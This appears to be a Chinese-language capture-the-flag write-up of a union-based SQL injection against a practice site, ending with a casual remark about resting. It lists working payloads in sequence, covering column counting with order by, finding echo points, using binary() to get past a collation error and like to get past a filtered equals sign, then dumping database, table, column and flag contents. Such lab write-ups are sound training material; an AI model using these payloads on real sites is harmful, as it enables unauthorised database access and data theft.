SQL数字型GET注入02

SQL数字型GET注入02

靶机地址:http://whalwl.site:8034/    【2020年8月前有效】

话不多说,打开网址,看到有个交互式的搜索框,直接干

输入1,没毛病

SQL数字型GET注入02

输入1’ ,报错

SQL数字型GET注入02

查看错误提示,多了一个单引号’,用#注释,没毛病

SQL数字型GET注入02

1' order by 14 #  //查看字段数,即列数【用二分法一个个尝试,发现order by 15时报错,14刚好不报错,可知是14列】

SQL数字型GET注入02

-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14#  //查找回显点,返回结果只有3和9,说明在这两个地方放的东西都会显示出来

SQL数字型GET注入02

再来做下对比,证明我没有骗你们

SQL数字型GET注入02

-1' union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14 from information_schema.schemata# //查找有哪些数据库,发现报错:Illegal mix of collations for operation 'UNION'

SQL数字型GET注入02

查了一下,说是字符集的问题,直接上大佬的博客:https://blog.****.net/lanyd/article/details/5432470,用binary解决了;

即用binary(group_concat(schema_name))代替group_concat(schema_name)

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(schema_name)),10,11,12,13,14 from information_schema.schemata#

SQL数字型GET注入02

猜了一下,就选cms,因为我在该网址的首页看到最多的就是cms

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(table_name)),10,11,12,13,14 from information_schema.tables where table_schema = 'cms'#  //查找cms中有哪些表,但是报错了,字符被截了好多

SQL数字型GET注入02

截到f它就不往下弄了,我以为这个框是不是有字符数限制,尝试了好一会,无果。然后就去休息了,果然脑子通透了些,想到刚开始找注入点的时候,我用 1' and 1=1#,它会报错,我那时候就猜想是不是过滤等于号(=)了,但没放心上。于是乎,查了一些绕过等于号(=)的方法,大佬博客接着来:https://blog.****.net/x_kernel_2719/article/details/82843839

对的,用like代替“=”,就万事大吉

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(table_name)),10,11,12,13,14 from information_schema.tables where table_schema like 'cms'#

SQL数字型GET注入02

看见没有,this is flag表,幸福啊,接下来就简单了,一顿操作猛如虎

-1' union select 1,2,3,4,5,6,7,8,binary(group_concat(column_name)),10,11,12,13,14 from information_schema.columns where table_schema like 'cms'and table_name like 'this_is_flag'# //查找表中的字段,也就是this_is_flag的列名

SQL数字型GET注入02

-1' union select 1,2,binary(id),4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag# 

SQL数字型GET注入02

噢啦

结论:人还是要适当休息